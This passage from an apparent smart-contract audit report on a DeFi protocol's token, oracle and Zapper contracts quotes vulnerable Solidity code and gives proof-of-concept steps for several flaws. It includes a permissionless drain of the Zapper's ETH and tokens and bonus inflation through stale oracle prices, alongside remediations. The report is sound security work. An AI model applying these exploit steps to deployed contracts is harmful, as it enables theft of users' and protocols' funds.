    // Treasury bonus as a % of user bonus
    treasuryBonus_ = (userBonus_ * treasuryBonusRate) / MULTIPLIER;
}

function logBuy(address _user, uint256 _amount) external {
    require(isBuyWrapper[msg.sender], "Not authorised to log buy");
    (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(_amount);
    if (userBonus == 0 && treasuryBonus == 0) return;
    pendingBonus[_user] += userBonus;
    esteem.mint(treasury, treasuryBonus);
    emit EsteemBonusLogged(_user, userBonus, treasuryBonus);
}

function getLatestTokenPrice(address token) public view returns (uint256) {
    address oracle = priceOracles[token];
    require(oracle != address(0), "No oracle set for token");
    uint256 price = IMasterOracle(oracle).getLatestPrice(token);
    require(price > 0, "Invalid price from Oracle");
    return price;
}
function getLatestTokenTWAP(address token) public view returns (uint256) {
    address oracle = priceOracles[token];
    require(oracle != address(0), "No oracle set for token");
    uint256 price = IMasterOracle(oracle).getTokenTWAP(token);
    require(price > 0, "Invalid price from Oracle");
    return price;
}

function getPlsSpotPrice() public view returns(uint256) {
  bytes memory _queryData = abi.encode("SpotPrice", abi.encode("pls", "usd"));
  bytes32 _queryId = keccak256(_queryData);
  (bytes memory _value, uint256 _timestampRetrieved) =
      getDataBefore(_queryId, block.timestamp - 20 minutes);
  if (_timestampRetrieved == 0) return 0;
  require(block.timestamp - _timestampRetrieved < 24 hours, "Data timestamp is more than 24 hours.");
  return abi.decode(_value, (uint256));
}

function getfPLSSpotPrice() public view returns(uint256) {
    uint256 plsPrice = getPlsSpotPrice();
    try IOracle(priceOracles[fpls]).consult(fpls, 1e18) returns (uint256 twapPrice) {
        uint256 result = (twapPrice * plsPrice) / 1e18;
        return result;
    } catch { revert("Failed to consult price from the oracle"); }
}
```

Proof of Concept:

Attacker-exploitable evidence:

- Sept 11, 2025 block `24482198` shows Oracle < DEX gap of ~15.1% for PLS/USD (`docs_final_proof/foundry_pls_usd_opportunities_sept11.json`). Since Favor USD = TWAP(Favor/PLS) x Fetch(PLS/USD), stale-high Fetch USD inflates `usdBuyAmount` and bonuses.

Measured example (on-chain): `block = 24482198`, `oracleUsdPerPls = 0.00003698`, `dexUsdPerPls = 0.00004256` (stale-low at this block; stale-high windows produce inflation).

Repro (no custom test):

- Preconditions: TWAP gate open (`getLatestTokenTWAP(Favor) < 3e18`); pick a block where `oracleUsdPerPls > dexUsdPerPls` (scan with `historical_opportunity_analyzer.js --usd-arbitrage`).
- Call: On a fork at that block, execute `buyTo(receiver, baseToken, amount, deadline)` via Zapper (approved BuyWrapper).
- Verify: `pendingBonus[receiver]` increments and `esteem.mint(treasury, treasuryBonus)` emits; Fetch `getPlsSpotPrice()` age >= 20m and within 24h; bonus computed with Fetch USD exceeds a DEX-USD control.

Remediation:

- Enforce `maxAge` (e.g., <=180s) for USD spot used in bonus sizing; reject or default to a safe baseline when stale.
- Align time domains: compute bonus using a USD-converted TWAP over the same window used for gating, or require spot and TWAP to agree within a configured tolerance.
- Add deviation guards and event logging of timestamps/ages for monitoring and alerting.

Source:

- `src/Favor.sol`: `calculateFavorBonuses(uint256)` — Gate on TWAP; size bonus using USD spot.
- `src/Favor.sol`: `logBuy(address,uint256)` — Called by whitelisted BuyWrapper (Zapper); credits user pending bonus and mints treasury bonus immediately.
- `src/PulseMinter.sol`: `getLatestTokenPrice(address)` — Delegates to `IMasterOracle.getLatestPrice(token)` (no freshness/deviation here).

- `src/PulseMinter.sol`: `getLatestTokenTWAP(address)` — Delegates to `IMasterOracle.getTokenTWAP(token)`.
- `src/MinterOracle.sol`: `getPlsSpotPrice()` — Fetch `getDataBefore(queryId, now - 20 minutes)` with 24h max-age; returns 18-dec USD/PLS.
- `src/MinterOracle.sol`: `getfPLSSpotPrice()` — `favorUsd = TWAP(Favor/PLS) x plsUsd` (TWAP x potentially stale USD spot).

Developer Response:

Fixed via deviation guards.

Auditor Response:

Verified in commit hash 1b3acabbf39346ee68fba76cd099cc40b114544f.

Finding 6: Privileged control without timelock

Severity: ❗ High

Status: Partially Resolved

Description:

Preconditions:

- EOA, multisig, or MPC controlling `onlyOwner` across core protocol contracts (Favor, Oracles, PulseMinter, Staking, FavorTreasury, Zapper).

Why this matters: Owners can immediately change core economics, distribution paths, oracle feeds, custody routes, and operational parameters across all protocol contracts. Without a timelock, harmful changes can be applied instantly, giving administrators no operational window to detect, alert on, and cancel actions before execution.

Operations requiring delay (high impact):

Favor.sol:

- Redirect tax receiver (`setTreasury`)
- Change sell tax (`setSellTax`)
- Alter exemptions (`setTaxExempt`)
- Grant/revoke minting (`addMinter`/`removeMinter`)
- Adjust bonus sizing (`setBonusRates`), price source (`setPriceProvider`), Esteem address (`setEsteem`)
- Control buy wrappers (`setBuyWrapper`)

Oracles:

- Change token price routing (`MinterOracle.setPriceOracle`)
- Adjust price caps (`LPOracle.setMaxPriceCap`, `UniTWAPOracle.setMaxPriceCap`)
- Repoint master oracle (`LPOracle.setMasterOracle`)
- Grant/revoke update authority (`Epoch.setApprovedUser`)

PulseMinter:

- Change economic rates (`setDailyRateIncrease`, `setEsteemRate`, `setRedeemRate`)

- Repoint custody destinations (`setPool`, `setTreasury`)
- Edit oracle routes and token listings (`setPriceOracle`, `setAllowedMintToken`, `setActiveFavorToken`)
- Perform owner withdrawals (`adminWithdraw`, `adminWithdrawPLS`)

Staking:

- Assign/reassign treasury operator (`setTreasuryOperator`)
- Recover tokens (`governanceRecoverUnsupported`)
- Pause/unpause protocol functions (`pause`/`unpause`)

FavorTreasury:

- Redirect Grove/emissions recipient (`setGrove`)
- Change Favor oracle used for mint logic (`setFavorOracle`)
- Adjust expansion bounds (`setMaxSupplyExpansionPercents`, `setMinSupplyExpansionPercents`)
- Change DAO split/destination (`setExtraFunds`)
- Edit circulating-supply exclusions (`addExcludedAddress`, `removeExcludedAddress`)

Zapper:

- Repoint pool/treasury destinations (`setPool`, `setTreasury`)
- Add/remove Favor listings and LP/base mappings (`addFavor`, `removeFavorToken`)
- Execute owner withdrawals (`adminWithdraw`, `adminWithdrawPLS`)

Impact:

Business: Immediate redirection of treasury funds, sudden fee/tax policy changes, mint authority changes, valuation shifts, custody route changes, emission policy edits, and asset withdrawals without an administrator delay/cancel window. Can cause fund misrouting, market disruption, loss of treasury assets, dilution of stakers, and disruption to user operations.

Technical: Parameter edits take effect atomically across all contracts; downstream contracts and accounting assume stability between epochs/updates. Feed routing, cap edits, atomic role/pausing changes affect time-sensitive flows and can cause operational instability.

Code:

```
// Favor.sol examples
function setTreasury(address _treasury) external onlyOwner { ... }
function setSellTax(uint256 _sellTax) external onlyOwner { ... }
function setTaxExempt(address account, bool exempt) external onlyOwner { ... }
function addMinter(address _account) external onlyOwner { ... }
function removeMinter(address _account) external onlyOwner { ... }
function setBonusRates(uint256 _bonusRate, uint256 _treasuryBonusRate) external onlyOwner { ... }
function setPriceProvider(address _priceProvider) external onlyOwner { ... }
function setEsteem(address _esteem) external onlyOwner { ... }
function setBuyWrapper(address _wrapper, bool value) external onlyOwner { ... }

// Oracle examples
function setPriceOracle(address token, address oracle) external onlyOwner { ... }
function setMaxPriceCap(uint256 _lpPriceCap) external onlyOwner { ... }
function setMasterOracle(address _oracle) external onlyOwner { ... }
function setApprovedUser(address user, bool allowed) external onlyOwner { ... }

// PulseMinter examples
function setDailyRateIncrease(uint256 _newRate) external onlyOwner { ... }
function setEsteemRate(uint256 _rate) external onlyOwner { ... }
function setRedeemRate(uint256 _redeemRate) external onlyOwner { ... }
function setPool(address _pool) external onlyOwner { ... }
function setTreasury(address _holding, address _team) external onlyOwner { ... }
function setPriceOracle(address token, address oracle) external onlyOwner { ... }
function setAllowedMintToken(address token, bool allowed) external onlyOwner { ... }
function setActiveFavorToken(address token, bool allowed) external onlyOwner { ... }
function adminWithdraw(IERC20 _token, address _to, uint256 _amount) external onlyOwner { ... }
function adminWithdrawPLS(address _to, uint256 _amount) external onlyOwner { ... }

// Staking examples
function setTreasuryOperator(address _treasuryOperator) external onlyOwner { ... }
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOwner
    { ... }
function pause() external onlyOwner { _pause(); }
function unpause() external onlyOwner { _unpause(); }

// FavorTreasury examples
function setGrove(address _grove) external onlyOwner { ... }
function setFavorOracle(address _favorOracle) external onlyOwner { ... }
function setMaxSupplyExpansionPercents(uint256 _maxSupplyExpansionPercent) external onlyOwner { ... }
function setMinSupplyExpansionPercents(uint256 _minSupplyExpansionPercent) external onlyOwner { ... }
function setExtraFunds(address _daoFund, uint256 _daoFundSharedPercent) external onlyOwner { ... }
function addExcludedAddress(address _address) external onlyOwner { ... }
function removeExcludedAddress(address _address) external onlyOwner { ... }

// Zapper examples
function setPool(IPool _pool) external onlyOwner { ... }
function setTreasury(address _holding, address _team) external onlyOwner { ... }
function addFavor(address _favor, address _lp, address _token) external onlyOwner { ... }
function removeFavorToken(address _favor) external onlyOwner { ... }
function adminWithdraw(IERC20 _token, address _to, uint256 _amount) external onlyOwner { ... }
function adminWithdrawPLS(address _to, uint256 _amount) external onlyOwner { ... }
```

Proof of Concept:

Governance repro (no custom test):

- Preconditions: caller is `owner` (EOA/multisig/MPC) of any affected contract (Favor, Oracles, PulseMinter, Staking, FavorTreasury, Zapper).
- Call: invoke any listed function from any contract (e.g., `setSellTax`, `setTreasury`, `setPriceOracle`, `setRedeemRate`, `setPool`, `setGrove`, `addFavor`); observe immediate state change (no delay/cancel window).

- With timelock: queue -> wait `minDelay` -> execute; verify change is visible during delay and cancellable by governance/guardian.

Remediation:

- Place all listed functions across all contracts behind an on-chain timelock (e.g., OpenZeppelin TimelockController): queue -> delay -> execute; enable cancel during delay.
- Batch related changes atomically (e.g., treasury + tax, oracle + cap changes) and enforce monitoring/alerts on queued actions.
- Monitor/alert on queued feed/cap changes, authority grants, rate changes, listings, oracle routes, treasury/pool changes, operator/recovery changes, and grove/oracle/expansion/splits updates.
- Require multi-party approval where feasible; consider on-chain deviation checks vs TWAP/median-of-sources for high-risk assets.
- Keep a limited "pause guardian" outside the timelock for emergency pause only (no parameter edits or fund movement).
- Verify target interfaces on address updates (e.g., grove, oracle, pool updates).
- Reference architecture: see `appendix_privileged_timelock_hardening.md` for policy, roles, and configuration.

Source:

Favor.sol

- `src/Favor.sol`: `setTreasury(address)` — Redirects all taxed amounts to a new treasury.
- `src/Favor.sol`: `setSellTax(uint256)` — Sets global sell tax up to MAX_TAX (50%).
- `src/Favor.sol`: `setTaxExempt(address,bool)` — Grants/revokes tax-exempt status.
- `src/Favor.sol`: `addMinter(address)` / `removeMinter(address)` — Grants/revokes mint authority.
- `src/Favor.sol`: `setBonusRates(uint256,uint256)` — Adjusts user/treasury bonus rates.
- `src/Favor.sol`: `setPriceProvider(address)` — Changes the price oracle/provider used for bonuses.
- `src/Favor.sol`: `setEsteem(address)` — Re-points Esteem token address.
- `src/Favor.sol`: `setBuyWrapper(address,bool)` — Grants/revokes BuyWrapper authorization (e.g., Zapper).

Oracles (MinterOracle / LPOracle / UniTWAPOracle)

- `src/MinterOracle.sol`: `setPriceOracle(address token, address oracle)` — Changes price routing per token.

- `src/LPOracle.sol`: `setMaxPriceCap(uint256)` — Sets max price cap for LP-based pricing.
- `src/LPOracle.sol`: `setMasterOracle(address)` — Repoints master oracle authority.
- `src/UniTWAPOracle.sol`: `setMaxPriceCap(uint256)` — Sets TWAP max price cap.
- `src/Epoch.sol`: `setApprovedUser(address,bool)` — Grants update authority to external callers.

PulseMinter (MintRedeemer) - Rate/economics controls

- `src/PulseMinter.sol`: `setDailyRateIncrease(uint256)` — Adjusts daily rate increase.
- `src/PulseMinter.sol`: `setEsteemRate(uint256)` — Sets Esteem rate used in conversions.
- `src/PulseMinter.sol`: `setRedeemRate(uint256)` — Sets redemption rate (e.g., 70%).

PulseMinter - Custody/treasury destinations

- `src/PulseMinter.sol`: `setPool(address)` — Changes custody pool (e.g., Aave pool address).
- `src/PulseMinter.sol`: `setTreasury(address,address)` — Sets treasury/teams addresses receiving funds.

PulseMinter - Oracle/listing control surface

- `src/PulseMinter.sol`: `setPriceOracle(address,address)` — Repoints price oracle for a token.
- `src/PulseMinter.sol`: `setAllowedMintToken(address,bool)` — Lists/delists tokens eligible to mint.
- `src/PulseMinter.sol`: `setActiveFavorToken(address,bool)` — Toggles active Favor token.

PulseMinter - Treasury withdrawals

- `src/PulseMinter.sol`: `adminWithdraw(IERC20,address,uint256)` — Owner can withdraw tokens.
- `src/PulseMinter.sol`: `adminWithdrawPLS(address,uint256)` — Owner can withdraw native PLS.

Staking (Grove) - Operator authority

- `src/Staking.sol`: `setTreasuryOperator(address)` — Owner assigns the treasury operator that controls allocation timing.

Staking - Asset recovery

- `src/Staking.sol`: `governanceRecoverUnsupported(IERC20,uint256,address)` — Owner can recover arbitrary tokens.

Staking - Pause control

- `src/Staking.sol`: `pause()` / `unpause()` — Owner can halt/resume operations.

FavorTreasury.sol

- `src/FavorTreasury.sol`: `setGrove(address)` — Redirect emissions destination (staking Grove).
- `src/FavorTreasury.sol`: `setFavorOracle(address)` — Change oracle source for Favor pricing used in mint logic.
- `src/FavorTreasury.sol`: `setMaxSupplyExpansionPercents(uint256)` — Raise max expansion bounds.
- `src/FavorTreasury.sol`: `setMinSupplyExpansionPercents(uint256)` — Set min expansion bounds.
- `src/FavorTreasury.sol`: `setExtraFunds(address,uint256)` — DAO split and destination percent.
- `src/FavorTreasury.sol`: `addExcludedAddress(address)` / `removeExcludedAddress(address)` — Circulating-supply exclusions (affects expansion calc).

Zapper - Custody/treasury

- `src/Zapper.sol`: `setPool(IPool)` — Changes Aave pool destination/custody route.
- `src/Zapper.sol`: `setTreasury(address,address)` — Sets treasury/teams addresses.

Zapper - Listings / allow-lists

- `src/Zapper.sol`: `addFavor(address,address,address)` — Lists a Favor token with LP and base token mapping.
- `src/Zapper.sol`: `removeFavorToken(address)` — Delists a Favor token mapping.

Zapper - Withdrawals

- `src/Zapper.sol`: `adminWithdraw(IERC20,address,uint256)` — Owner can withdraw ERC20.
- `src/Zapper.sol`: `adminWithdrawPLS(address,uint256)` — Owner can withdraw native PLS.

Developer Response:

Ownable 2 step added. Timelock for privileged functions will be added post deployment once the protocol is stabilized and runs smoothly for at least two months.

Auditor Response:

Planned fix. To deploy an OpenZeppelin TimelockController and transfer ownership of affected contracts at least 2 months after post-launch stabilization; subsequent privileged changes will run via queue -> delay -> execute.

Interim note: Until timelock activation, privileged updates proceed under direct ownership without enforced delay; consider interim approvals and monitoring during this period.

Finding 7: LPZapper Global Dust Sweep via `\_refundDust` drains all ETH and all `dustTokens` balances to caller

Severity: High

Status: Resolved

Description:

Preconditions: - Owner has added one or more ERC20s to `dustTokens`. - The Zapper holds any pre-existing ETH and/or balances of listed `dustTokens` (e.g., rounding, fee-on-transfer residuals, or accidental transfers). - Any EOA can call `zapToken` or `zapPLS` (permissionless).

Mechanism: - `_refundDust(recipient)` computes `ethBal = address(this).balance` and, if > 0, sends all ETH to `recipient`. - It then loops over `dustTokens` and for each token `t`, transfers the entire `IERC20(t).balanceOf(address(this))` to `recipient`. - `_zapToken(...)` calls `_refundDust(msg.sender)` unconditionally at the end of the zap flow. - There is no per-call accounting or scoping of leftovers; refunds are not limited to the current zap's deltas.

Key facts: - Global sweep: full ETH and full balances for every token in `dustTokens` are transferred, not just per-call dust. - Public entrypoints: `zapToken` and `zapPLS` are permissionless pathways to trigger the sweep. - Configuration: `dustTokens` is owner-managed; adding more tokens increases the surface of sweepable balances. - Accumulation vectors: payable `receive()` and flows involving rounding/fee-on-transfer tokens can leave residuals on the contract.

Vulnerable code excerpts (Zapper.sol):

1) `_refundDust(address recipient)`

```
function _refundDust(address recipient) internal {
    uint256 ethBal = address(this).balance;
    if (ethBal > 0) {
        (bool sent,) = recipient.call{value: ethBal}("");
        require(sent, "refund PLS failed");
    }

    for (uint i = 0; i < dustTokens.length; i++) {
        address t = dustTokens[i];
        uint256 bal = IERC20(t).balanceOf(address(this));
        if (bal > 0) {
            IERC20(t).safeTransfer(recipient, bal);
        }
    }
}
```

2) `_zapToken(...)` -> `_refundDust(msg.sender)`

```
function _zapToken(address _token, uint _amount, uint256 _deadline) public {
    // ... swap, addLiquidity, deposit ...
    _refundDust(msg.sender);
    emit TokenZapped(msg.sender, _token, favor, _amount, balLP);
}
```

3) Public entrypoints

```
function zapToken(address _token, uint _amount, uint256 _deadline) public {
    IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
    _zapToken(_token, _amount, _deadline);
}

function zapPLS(uint256 _deadline) public payable {
    IWETH(router.WETH()).deposit{value: msg.value}();
    _zapToken(router.WETH(), uint112(msg.value), _deadline);
}
```

Impact:

- Financial: Complete drain of all ETH held by the LPZapper and all balances of tokens in `dustTokens`, by any caller. Residuals accumulated from prior users or accidental transfers are exposed.
- Operational: Any global dust management intent is subverted; accumulation benefits whoever triggers a trivial zap first.
- Scope: Contract-level for ETH; per-token for every ERC20 added to `dustTokens`.

Code:

```
function _refundDust(address recipient) internal {
    uint256 ethBal = address(this).balance;
    if (ethBal > 0) {
        (bool sent,) = recipient.call{value: ethBal}("");
        require(sent, "refund PLS failed");
    }

    for (uint i = 0; i < dustTokens.length; i++) {
        address t = dustTokens[i];
        uint256 bal = IERC20(t).balanceOf(address(this));
        if (bal > 0) {
            IERC20(t).safeTransfer(recipient, bal);
        }
    }
}

function _zapToken(address _token, uint _amount, uint256 _deadline) public {
    // ... swap, addLiquidity, deposit ...
    _refundDust(msg.sender);
    emit TokenZapped(msg.sender, _token, favor, _amount, balLP);
}

function zapToken(address _token, uint _amount, uint256 _deadline) public {
    IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
    _zapToken(_token, _amount, _deadline);
}

function zapPLS(uint256 _deadline) public payable {
    IWETH(router.WETH()).deposit{value: msg.value}();
    _zapToken(router.WETH(), uint112(msg.value), _deadline);
}
```

Proof of Concept:

Integration Foundry test (public path -> `_refundDust(msg.sender)`): - `docs_final_proof/ZapperDustSweepIntegration.t.sol` - Run: - `forge test --match-path test/ZapperDustSweepIntegration.t.sol` - Repro steps (summarized):

1) Owner adds `dustTokens`.
2) Pre-fund Zapper with ETH and balances of those dust tokens (simulating residuals).
3) From an attacker EOA, call `zapToken` (or `zapPLS`) with a minimal amount.
4) Assert Zapper's ETH and dust token balances drop to zero; attacker receives all ETH and those token balances.

Remediation:

- Replace global sweeping with scoped refunds:
  - Snapshot pre/post balances for only the tokens touched during the current operation and refund only the delta to the caller.
  - Do not sweep `address(this).balance` indiscriminately; either remove ETH refund or restrict it to the current call's delta.
- Alternatively, route all dust (including ETH) to a trusted treasury address, or gate the sweep behind `onlyOwner` and send to treasury.
- Avoid iterating over a global `dustTokens` array for public pathways; prefer per-operation allowlist of refundable tokens.
- Add tests where the contract has pre-existing balances to ensure refunds are limited to the current operation's dust.

Source:

- `src/Zapper.sol`: `_refundDust(address)` — Transfers full contract ETH and full balances of all tokens in `dustTokens` to `recipient`.
- `src/Zapper.sol`: `_zapToken(address,uint256,uint256)` — Unconditionally calls `_refundDust(msg.sender)`.
- `src/Zapper.sol`: `zapToken(address,uint256,uint256)` — Public; reaches `_zapToken`.
- `src/Zapper.sol`: `zapPLS(uint256)` — Public payable; reaches `_zapToken`.
- `src/Zapper.sol`: `receive()` — Contract can accumulate ETH (also swept).
- `src/Zapper.sol`: `addDustToken(address)` — Owner-managed list of sweepable tokens.

Developer Response:

fixed bba03d42195f3b72bb67bfb91993ab10b2ed2f6e

Finding 8: Zapper DoS with fee-on-transfer (FOT) tokens

Severity: ● Medium

Status: Acknowledged

Description:

Preconditions:

- The base token is a fee-on-transfer (FOT) token (balance credited < `_amount` transferred).
- Zapper relies on `_amount` (and `half`) instead of actual `balanceOf(this)` deltas.
- Router pulls exact approved amounts from Zapper; shortfall causes `transferFrom` revert.

What happens: Zapper trusts `_amount` equals the tokens actually received after `safeTransferFrom`. For FOT tokens, the contract receives less. It then uses `_amount` (and `half = _amount/2`) to drive swaps and addLiquidity, causing the router to pull more than the Zapper holds, which reverts.

Why it reverts (step-by-step):

1) FOT transfer: `safeTransferFrom(user -> Zapper, _amount)` credits less than `_amount` to Zapper.
2) Swap: Zapper approves `_amount` (or `half`) and router tries to `transferFrom(Zapper, amountIn)`. If Zapper balance < amountIn -> revert.
3) Even if swap succeeds, `_addLiquidity` still uses `half` for the base side while remaining base balance is `< half` due to fees -> revert on router pull.

Impact:

DoS for any whitelisted FOT token across `zapToken`, `buyTo`, and external `addLiquidity` wrappers. Users lose gas; flows are unusable until fixed.

Code:

```
function zapToken(address _token, uint _amount, uint256 _deadline) public {
    IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
    _zapToken(_token, _amount, _deadline);
}
...
function _zapToken(address _token, uint _amount, uint256 _deadline) public {
    ...
    uint256 half = _amount / 2;
    uint256 balFavor = _swap(_token, favor, half, _deadline);
    IFavorToken(favor).logBuy(msg.sender, balFavor);
    _addLiquidity(_token, favor, half, balFavor, address(this), _deadline);
}

```

```
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
    _amount, 0, path, address(this), _deadline
);

function _addLiquidity(..., uint256 aAmt, uint256 bAmt, ...) internal {
    IERC20(a).approve(address(router), aAmt);
    IERC20(b).approve(address(router), bAmt);
    router.addLiquidity(a, b, aAmt, bAmt, 0, 0, to, dl);
}
```

Proof of Concept:

Foundry test: `ZapperFOTDoS.t.sol`

— Router mimic strictly pulls exact amounts (like real router) so any shortfall due to FOT triggers revert.

Cases covered:

- Swap stage revert when `received < half`.
- addLiquidity revert when remaining base balance `< amountADesired`.

Affected code (for reference): - `src/Zapper.sol`: `zapToken`, `_zapToken`, `_swap` (router call), `_addLiquidity`.

Remediation:

Use delta accounting after user transfer:

- `before = IERC20(token).balanceOf(address(this))` -> `safeTransferFrom(...)` -> `received = balanceOf(this) - before`.
- Split via `half = received / 2`.
- For addLiquidity, pass actual remaining balances (`IERC20(tokenA).balanceOf(this)`, `IERC20(tokenB).balanceOf(this)`) rather than trusted desired numbers.

Mirror this fix in `buyTo` and the `addLiquidity` wrappers. Add sanity checks (non-zero, non-dust) and consider non-zero slippage minima.

Source:

- `src/Zapper.sol`: `zapToken(_token, _amount, _deadline)` — trusts `_amount` equals tokens actually received.
- `src/Zapper.sol`: `_zapToken(_token, _amount, _deadline)` — splits using `half = _amount/2`, drives swap and addLiquidity with trusted values.
- `src/Zapper.sol`: `_swap(...)` — uses `router.swapExactTokensForTokensSupportingFeeOnTransferTokens` with `_amount`.

- `src/Zapper.sol`: `_addLiquidity(..., aAmt, bAmt, ...)` — approves and supplies `aAmt`, `bAmt` based on trusted amounts.
- `src/Zapper.sol`: `addLiquidity(...)`, `addLiquidityETH(...)` — external wrappers trusting desired amounts.
- `src/Zapper.sol`: `buyTo(...)` — similar trust of user-supplied amounts for subsequent operations.

Developer Response:

No FOT tokens are intended to be paired with Favor and therefore used by this zapper contract at this time. Although noted for future upgrades.

Auditor Response:

Acknowledged, team policy excludes FOT tokens. Operational risk remains if policy changes and code vulnerability for FOTs is forgotten.

Finding 9: Unchecked ERC-20 returns in Zapper add-liquidity flows

Severity: ❗ Low

Status: Resolved

Description:

Preconditions:

- Caller invokes `addLiquidity` or `addLiquidityETH` with a token that returns `false` on `transferFrom` instead of reverting.

What happens: Raw ERC-20 `transferFrom` return values are ignored. Non-standard tokens may return `false` (not revert), leading to silent failures (insufficient tokens moved) while subsequent approvals/router calls proceed under incorrect assumptions.

Code evidence (relative excerpts):

- `src/Zapper.sol` (addLiquidity)
  - `IERC20(tokenA).transferFrom(msg.sender, address(this), amountADesired);`
  - `IERC20(tokenB).transferFrom(msg.sender, address(this), amountBDesired);`
- `src/Zapper.sol` (addLiquidityETH)
  - `IERC20(token).transferFrom(msg.sender, address(this), amountTokenDesired);`
  - `IERC20(token).forceApprove(address(router), amountTokenDesired);`

Impact:

Silent failures (tokens not moved) can cause later steps to revert or to operate on incorrect balances, wasting gas and creating confusing UX. Risk is confined to non-standard tokens that signal failure via `false` instead of revert.

Code:

```
IERC20(tokenA).transferFrom(msg.sender, address(this), amountADesired);
IERC20(tokenB).transferFrom(msg.sender, address(this), amountBDesired);
...
router.addLiquidity(
    tokenA,
    tokenB,
    amountADesired,
    amountBDesired,
    amountAMin,
    amountBMin,
    to,
    deadline
);

IERC20(token).transferFrom(
    msg.sender,
    address(this),
    amountTokenDesired
);
IERC20(token).forceApprove(address(router), amountTokenDesired);
router.addLiquidityETH{value: msg.value}(
    token,
    amountTokenDesired,
    amountTokenMin,
    amountETHMin,
    to,
    deadline
);
```

Remediation:

- Replace raw `transferFrom` with `SafeERC20.safeTransferFrom` in both `addLiquidity` and `addLiquidityETH` for consistent handling of non-standard tokens.
- Keep behavior consistent with the rest of Zapper (zap/sell/buy paths already use `SafeERC20`).

Source:

- `src/Zapper.sol`: `addLiquidity(...)` — uses raw `IERC20(tokenA).transferFrom(...)`, `IERC20(tokenB).transferFrom(...)` (ignores boolean return).
- `src/Zapper.sol`: `addLiquidityETH(...)` — uses raw `IERC20(token).transferFrom(...)` (ignores boolean return).
- Other paths (zap/sell/buy) use `SafeERC20` consistently; inconsistency is localized to add-liquidity entrypoints.

Developer Response:

safeTransfer added

Auditor Response:

Fixed. Commit 031b95cb70836ddc403d897936d67e361e271d9f

Finding 10: Reentrancy surfaces in Zapper flows (defense-in-depth)

Severity: Low

Status: Resolved

Description:

Preconditions:

- Caller invokes Zapper entrypoints (`zapToken/zapPLS/sell/sellTo/buy/buyTo/addLiquidity/addLiquidityETH`).
- Presence of external callbacks (router, ERC-20 hooks, `IFavorToken.logBuy`, ETH refund recipient).

Multiple external calls are performed per flow without reentrancy guards. A malicious token/router recipient or a crafted refund recipient could reenter entrypoints, grief execution, or double-trigger side effects (e.g., bonus logging) even if direct theft is unlikely.

Code evidence (relative excerpts):

- Zapping composition:
  - `uint256 balFavor = _swap(_token, favor, half, _deadline);`
  - `IFavorToken(favor).logBuy(msg.sender, balFavor);`
  - `_addLiquidity(_token, favor, half, balFavor, address(this), _deadline);`
  - `uint256 balLP = IERC20(lp).balanceOf(address(this));`
  - `_depositToStronghold(lp, balLP);`
  - `_refundDust(msg.sender);`
- Refunds to external recipient:
  - `if (ethBal > 0) {(bool sent,) = recipient.call{value: ethBal}("");}`
    `require(sent, "refund PLS failed");`
  - `IERC20(t).safeTransfer(recipient, bal);`
- Sell/buy flows:
  - `sellTo`: `safeTransferFrom`, optional tax leg swap+deposit, user leg swap, `safeTransfer` to receiver.
  - `buyTo`: swap, `safeTransfer` Favor to receiver, `IFavorToken(favor).logBuy(_receiver, bought);`

Impact:

Griefing and side-effect amplification (e.g., duplicate logging) are possible via reentry points; direct balance drains are unlikely given current accounting model.

Code:

```
uint256 balFavor = _swap(_token, favor, half, _deadline);
IFavorToken(favor).logBuy(msg.sender, balFavor);
_addLiquidity(_token, favor, half, balFavor, address(this), _deadline);
uint256 balLP = IERC20(lp).balanceOf(address(this));
_depositToStronghold(lp, balLP);
_refundDust(msg.sender);

uint256 ethBal = address(this).balance;
if (ethBal > 0) {
    (bool sent,) = recipient.call{value: ethBal}("");
    require(sent, "refund PLS failed");
}
...
IERC20(t).safeTransfer(recipient, bal);

IERC20(_favor).safeTransferFrom(msg.sender, address(this), _amount);
if (!IFavorToken(_favor).isTaxExempt(msg.sender)) {
    tax = IFavorToken(_favor).calculateTax(_amount);
    uint256 taxSold = _swap(_favor, base, tax, _deadline);
    _depositToStrongholdForTreasury(base, taxSold);
}
uint256 userSold = _swap(_favor, base, _amount - tax, _deadline);
IERC20(base).safeTransfer(address(_receiver), userSold);

uint256 bought = _swap(_base, favor, _amount, _deadline);
IERC20(favor).safeTransfer(address(_receiver), bought);
IFavorToken(favor).logBuy(_receiver, bought);
```

Remediation:

Add OpenZeppelin `ReentrancyGuard` and mark entrypoints `nonReentrant`: - `zapToken`, `zapPLS`, `sell`, `sellTo`, `buy`, `buyTo`, `addLiquidity`, `addLiquidityETH`, `requestFlashLoan`, `executeOperation`.

Maintain checks-effects-interactions where applicable.

Source:

- `src/Zapper.sol`: `_zapToken` — combines swaps, external hooks, Aave supply, and refunds.
- `src/Zapper.sol`: `_refundDust` — refunds ETH/tokens to caller via external calls.
- `src/Zapper.sol`: `sellTo` / `buyTo` — interleave swaps, treasury deposit, and transfers.

Developer Response:

Reentrancy guard added to main functions in Zapper. Cannot be added to executeOperation as it is called back from the Aave pool.

Auditor Response:

Fixed. Commit 031b95cb70836ddc403d897936d67e361e271d9f

Finding 11: UsingFetch idMappingContract uninitialized (breaks IERC2362.valueFor)

Severity: Low

Status: Acknowledged

Description:

Preconditions:

- External consumer (or integration tool) calls `valueFor(bytes32)` on a contract inheriting `UsingFetch` (e.g., `MinterOracle`).

What happens: `UsingFetch.valueFor` dereferences `idMappingContract` without initialization. Calling `getFetchID` on `address(0)` reverts (empty returndata decode), breaking the ERC-2362 read path and any tooling expecting it to work.

Code evidence (relative excerpts):

- Declaration:
  - `src/usingFetch/usingFetch.sol`: `IMappingContract public idMappingContract;`
- Constructor only sets `fetch`:
  - `src/usingFetch/usingFetch.sol`: `constructor(address payable _fetch) { fetch = IFetch(_fetch); }`
- Use in `valueFor`:
  - `src/usingFetch/usingFetch.sol`: `bytes32 _queryId = idMappingContract.getFetchID(_id);`
- Inherited without init:
  - `src/MinterOracle.sol`: `constructor(address payable _fetchAddress, address _owner) UsingFetch(_fetchAddress) Ownable(_owner) {}`

Impact:

ERC-2362 `valueFor` reverts on read, breaking observability/integration. Core price flows are unaffected if they do not use `valueFor`.

Code:

```
IMappingContract public idMappingContract;

constructor(address payable _fetch) {
    fetch = IFetch(_fetch);
}

bytes32 _queryId = idMappingContract.getFetchID(_id);
(_valueBytes, _timestamp) = getDataBefore(_queryId, block.timestamp + 1);
...

